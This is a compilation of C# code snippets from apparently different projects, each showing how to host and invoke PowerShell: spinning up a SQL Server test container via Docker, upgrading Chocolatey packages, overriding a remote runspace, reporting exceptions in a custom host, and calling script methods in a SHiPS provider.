/// <summary> /// 使用 microsoft/mssql-server-windows-developer 建立測試用的 SQL Server. /// </summary> /// <param name="databaseIp">The database ip.</param> /// <param name="containerId">The container identifier.</param> private static void CreateSqlServerContainerOnWindows(out string databaseIp, out string containerId) { var runSpacePool = RunspaceFactory.CreateRunspacePool(1, 5); runSpacePool.Open(); using (runSpacePool) { var powerShellCommands = new List <PowerShell>(); var powerShellCommandResults = new List <IAsyncResult>(); // 1.先停止並移除之前所建立的測試資料庫 sql-server var powerShellInstance1 = PowerShell.Create(); powerShellInstance1.RunspacePool = runSpacePool; powerShellInstance1.AddScript($"docker stop {ContainerId}"); powerShellCommands.Add(powerShellInstance1); powerShellCommandResults.Add(powerShellInstance1.BeginInvoke()); // 2.使用 microsoft/mssql-server-windows-express 建立測試用資料庫 var powerShellInstance2 = PowerShell.Create(); powerShellInstance2.RunspacePool = runSpacePool; powerShellInstance2.AddScript($"docker run --rm -d -e SA_PASSWORD=1q2w3e4r5t_ -e ACCEPT_EULA=Y -ti -p {Port}:1433 microsoft/mssql-server-windows-developer"); powerShellCommands.Add(powerShellInstance2); powerShellCommandResults.Add(powerShellInstance2.BeginInvoke()); int i = 0; string message = string.Empty; foreach (var powerShellCommand in powerShellCommands) { PSDataCollection <PSObject> results = powerShellCommand.EndInvoke(powerShellCommandResults[i]); foreach (var result in results) { if (result != null) { message = result.BaseObject.ToString(); } } if (i.Equals(1)) { ContainerId = message; } i++; } } // 3. 使用 docker logs 指令,查看在 container 的 sql-server 是否已經準備好 int retryTimes = 60; bool ready = false; for (int i = 0; i < retryTimes; i++) { var powerShellInstance = PowerShell.Create(); powerShellInstance.AddScript($"docker logs {ContainerId}"); var executeResults = powerShellInstance.Invoke(); foreach (var psObject in executeResults) { if (psObject != null) { var message = psObject.BaseObject.ToString(); if (message.Contains("VERBOSE: Started SQL Server")) { ready = true; } } } if (ready.Equals(false)) { Thread.Sleep(1000); } else { Console.WriteLine($"wait {i} second"); break; } } // 4. 取得新建立 container 的 內部 ip string containerInsideIp = ""; using (PowerShell powerShellinstance = PowerShell.Create()) { powerShellinstance.AddScript($"docker exec {ContainerId} ipconfig | findstr IPv4"); powerShellinstance.Invoke(); var psOutput = powerShellinstance.Invoke(); foreach (var outputItem in psOutput) { if (string.IsNullOrWhiteSpace(outputItem?.BaseObject.ToString())) { continue; } var serverIp = outputItem.BaseObject.ToString(); containerInsideIp = serverIp.Split(':')[1].Trim(); } } databaseIp = string.IsNullOrWhiteSpace(containerInsideIp) ? "" : containerInsideIp; containerId = string.IsNullOrWhiteSpace(ContainerId) ? "" : ContainerId; }
public async Task UpdateAll() { using (var powershell = PowerShell.Create()) { powershell.AddScript("cup all"); powershell.Streams.Error.DataAdded += ErrorDataAdded; powershell.Streams.Warning.DataAdded += WarningDataAdded; var outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += this.SendOutput; await Task.Factory.StartNew(() => powershell.Invoke(null, outputCollection, null)); } }
/// <summary> /// Override inside a safe lock /// </summary> /// <param name="remoteRunspace">runspace to override</param> /// <param name="syncObject">object to use in synchronization</param> /// <param name="isRunspacePushed">set is runspace pushed</param> internal void Override(RemoteRunspace remoteRunspace, object syncObject, out bool isRunspacePushed) { lock (_localSyncObject) { _stopInvoke = false; } try { if (syncObject != null) { lock (syncObject) { _runspaceRef.Override(remoteRunspace); isRunspacePushed = true; } } else { _runspaceRef.Override(remoteRunspace); isRunspacePushed = true; } if ((remoteRunspace.GetCurrentlyRunningPipeline() != null)) { // Don't execute command if pushed runspace is already running one. return; } using (PowerShell powerShell = PowerShell.Create()) { powerShell.AddCommand("Get-Command"); powerShell.AddParameter("Name", new string[] { "Out-Default", "Exit-PSSession" }); powerShell.Runspace = _runspaceRef.Value; bool isReleaseCandidateBackcompatibilityMode = _runspaceRef.Value.GetRemoteProtocolVersion() == RemotingConstants.ProtocolVersionWin7RC; powerShell.IsGetCommandMetadataSpecialPipeline = !isReleaseCandidateBackcompatibilityMode; int expectedNumberOfResults = isReleaseCandidateBackcompatibilityMode ? 2 : 3; powerShell.RemotePowerShell.HostCallReceived += new EventHandler <RemoteDataEventArgs <RemoteHostCall> >(HandleHostCall); IAsyncResult asyncResult = powerShell.BeginInvoke(); PSDataCollection <PSObject> results = new PSDataCollection <PSObject>(); while (!_stopInvoke) { asyncResult.AsyncWaitHandle.WaitOne(1000); if (asyncResult.IsCompleted) { results = powerShell.EndInvoke(asyncResult); break; } } if (powerShell.Streams.Error.Count > 0 || results.Count < expectedNumberOfResults) { throw RemoteHostExceptions.NewRemoteRunspaceDoesNotSupportPushRunspaceException(); } } } catch (Exception) { _runspaceRef.Revert(); isRunspacePushed = false; throw; } }
/// <summary> /// To display an exception using the display formatter, /// run a second pipeline passing in the error record. /// The runtime will bind this to the $input variable, /// which is why $input is being piped to the Out-String /// cmdlet. The WriteErrorLine method is called to make sure /// the error gets displayed in the correct error color. /// </summary> /// <param name="e">The exception to display.</param> private void ReportException(Exception e) { if (e != null) { object error; IContainsErrorRecord icer = e as IContainsErrorRecord; if (icer != null) { error = icer.ErrorRecord; } else { error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null); } lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } this.currentPowerShell.Runspace = this.myRunSpace; try { this.currentPowerShell.AddScript("$input").AddCommand("out-string"); // Do not merge errors, this function will swallow errors. Collection<PSObject> result; PSDataCollection<object> inputCollection = new PSDataCollection<object>(); inputCollection.Add(error); inputCollection.Complete(); result = this.currentPowerShell.Invoke(inputCollection); if (result.Count > 0) { string str = result[0].BaseObject as string; if (!string.IsNullOrEmpty(str)) { // Remove \r\n, which is added by the Out-String cmdlet. this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2)); } } } finally { // Dispose of the pipeline and set it to null, locking it because // currentPowerShell may be accessed by the ctrl-C handler. lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } } }
internal static ICollection <object> CallPowerShellScript( SHiPSDirectory node, IProviderContext context, System.Management.Automation.PowerShell powerShell, SHiPSParameters parameters, string methodName, EventHandler <DataAddedEventArgs> outputAction, EventHandler <DataAddedEventArgs> errorAction) { if (node == null) { throw new ArgumentNullException("node"); } try { powerShell.Clear(); var input = new PSDataCollection <object>(); input.Complete(); var output = new PSDataCollection <object>(); if (outputAction != null) { output.DataAdded += outputAction; } //register events if (errorAction != null) { powerShell.Streams.Error.DataAdded += errorAction; } // Calling the following throws 'Unable to cast object of type 'System.Management.Automation.Language.FunctionMemberAst' to // type 'System.Management.Automation.Language.FunctionDefinitionAst'. //output = node.GetChildItem(); //make script block powerShell.AddScript("[CmdletBinding()] param([object]$object) $object.{0}()".StringFormat(methodName)); powerShell.AddParameter("object", node); if (parameters != null) { if (parameters.Debug) { powerShell.AddParameter("debug"); } if (parameters.Verbose) { powerShell.AddParameter("verbose"); } } powerShell.Invoke(null, output, new PSInvocationSettings()); return(output.Count == 0 ? null : output); } finally { powerShell.Streams.Error.DataAdded -= errorAction; } }